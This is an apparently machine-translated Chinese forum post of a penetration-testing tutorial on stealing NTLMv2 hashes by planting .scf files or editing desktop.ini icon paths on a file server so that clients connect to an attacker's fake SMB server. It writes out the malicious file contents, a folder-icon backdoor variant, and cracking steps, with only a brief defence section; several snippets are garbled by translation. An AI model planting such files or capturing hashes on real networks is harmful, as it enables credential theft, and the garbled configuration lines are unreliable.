Anonymous 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了通过Windows命令行在服务器上捕获数据包,获取连接到文件服务器的NTLMv2 Hash的方法,解决了一个有趣的问题: 如果获得了内网某个文件服务器的权限,如何获取更多用户的密码? 本文将改变实现方式,通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,抓取伪造文件服务器上的数据包,获得连接到文件服务器的NTLMv2 Hash。 0x01 简介 本文将介绍以下内容: 添加scf文件会迫使用户访问假冒的文件服务器。 修改文件夹图标以强制用户访问伪造的文件服务器。 图标后门 防御思维 0x02 实现思路 利用SMB协议的特性,当客户端连接到服务器时,默认情况下首先尝试使用本机的用户名和密码哈希登录。 当一个用户访问一个文件服务器时,如果我们可以诱骗用户访问一个假的文件服务器,并在假的文件服务器上抓取数据包,那么我们就可以获得用户自己机器的NTLMv2哈希。 所以关键是如何欺骗用户访问伪造的文件服务器,同时保证隐蔽性。 欺骗用户访问假文件服务器的方法有很多种(钓鱼略),那么有没有在用户打开文件共享时自动访问假文件服务器的方法呢?当然有。接下来主要介绍两种实现方式。 0x03 添加scf文件强制用户访问伪造的文件服务器 这个方法已经在其他文章中介绍过了。参考: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ https://xianzhi.aliyun.com/forum/topic/1624 下面简单介绍一下原理。 scf文件: SCF文件是一个“WINDOWS资源管理器命令”文件,它是一个可执行文件。这种类型的文件由Windows资源管理器命令解释,并作为标准安装。 有三种类型: Explorer.scf(资源管理器) Show Desktop.scf(显示桌面) 查看频道. scf(查看频道) 格式示例: [壳牌] 命令=2 IconFile=explorer.exe,3 [任务栏] Command=ToggleDesktop IconFile属性支持UNC路径,即可以在文件服务器上指定一个文件,例如IconFile=\ \ 192 . 168 . 62 . 130 \ test \ explorer.exe,3。 特别之处:当使用Explore.exe打开包含这个文件的路径时,因为scf文件包含IconFile属性,Explore.exe会尝试获取文件的图标。如果图标位于文件服务器中,它将访问文件服务器。 直观理解:打开一个文件夹,文件夹下有scf文件。scf文件的IconFile属性指向文件服务器。这个机会将自动访问这个文件服务器。在访问过程中,默认情况下将使用该机器的用户名和密码哈希来尝试登录。如果文件服务器抓取了数据包,就可以得到NTLMv2 Hash。 实际测试: 标准文件服务器IP: 192.168.62.139 伪造的文件服务器IP: 192.168.62.130 客户:192.168.62.135 1、正常文件服务器共享目录下添加文件test.scf,内容如下: [壳牌] 命令=2 IconFile=\ \ 192 . 168 . 62 . 130 \ test \ test . ico [任务栏] Command=ToggleDesktop 注: IconFile指向伪造的文件服务器,test.ico不存在。 2、在伪造文件服务器上使用wireshark进行抓包 3、客户端访问正常文件服务器 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash 如下图 构造一个特定格式的username:domain:challenge:hmac-MD5:blob,用Hashcat破解。 具体破解方法请参考文章: 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 经过实际测试,我们可以看到,利用率的关键是在文件服务器上添加scf文件,等待用户访问。 那么,有没有更隐蔽的方法呢? 0x04 修改文件夹图标强制用户访问伪造的文件服务器 参考scf文件的利用原则,需要找到一个可以指定IconFile属性的特殊文件。 经过搜索,我找到了一个合适的方法:修改文件夹图标,强制用户访问伪造的文件服务器。 修改文件夹图标的方法: 选择文件夹-右键-属性-自定义-更改图标,如下图所示 最好在文件夹子目录中生成文件desktop.ini,格式如下: [.ShellClassInfo] icon resource=C:\ Windows \ system32 \ shell32 . dll,3 [视图状态] 模式= Vid= FolderType=泛型 尝试用UNC路径替换IconResource属性,即icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell32.dll,3。 测试成功。 实际测试: 标准文件服务器IP: 192.168.62.139 伪造的文件服务器IP: 192.168.62.130 客户:192.168.62.135 1、正常文件服务器共享目录的test文件夹下添加文件desktop.ini,内容如下: [.ShellClassInfo] icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4 [视图状态] 模式= Vid= FolderType=泛型 注: IconResource指向伪造的文件服务器,SHELL32.dll不存在。 2、在伪造文件服务器上使用wireshark进行抓包 3、客户端访问正常文件服务器 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash 如下图 这样相比scf文件,隐蔽性更高。 0x05 文件夹图标后门 原理同上。更改系统文件夹的配置文件desktop.ini。当用户打开指定的文件夹时,本机当前用户的NTLMv2哈希将被发送到伪造的文件服务器。 默认情况下,系统的公共文件夹包含配置文件desktop.ini,例如文件夹Program Files。desktop.ini的内容如下: [.ShellClassInfo] localized resource name=@ % SystemRoot % \ system32 \ shell 32 . dll,-21781 尝试通过添加以下内容来修改它: icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4 注: 需要管理员权限。 测试成功。 实际测试: 客户端IP: 192.168.62.139 伪造的文件服务器IP: 192.168.62.130 1、修改客户端文件,路径为C:\Program Files\desktop.ini,添加内容 icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4 注: IconResource指向伪造的文件服务器,SHELL32.dll不存在。 2、在伪造文件服务器上使用wireshark进行抓包 3、客户端访问文件夹c:\ 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash 如下图 这样和scf文件相比,不需要添加文件,但是需要管理员权限。 0x06 防御思路 结合攻击手段,防御思路总结如下: 检查特殊文件。scf和desktop.ini,以避免添加UNC路径。 如果没有特殊需要,建议配置防火墙规则禁止端口139和445。 0x07 小结 在这篇文章中,我们改变了方法,以解决获取更多的用户密码后,获得许可的文件服务器在内部网。 通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,通过抓取伪造文件服务器上的数据包获得连接到文件服务器的NTLMv2哈希。 结合攻击方法,总结防御思路。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子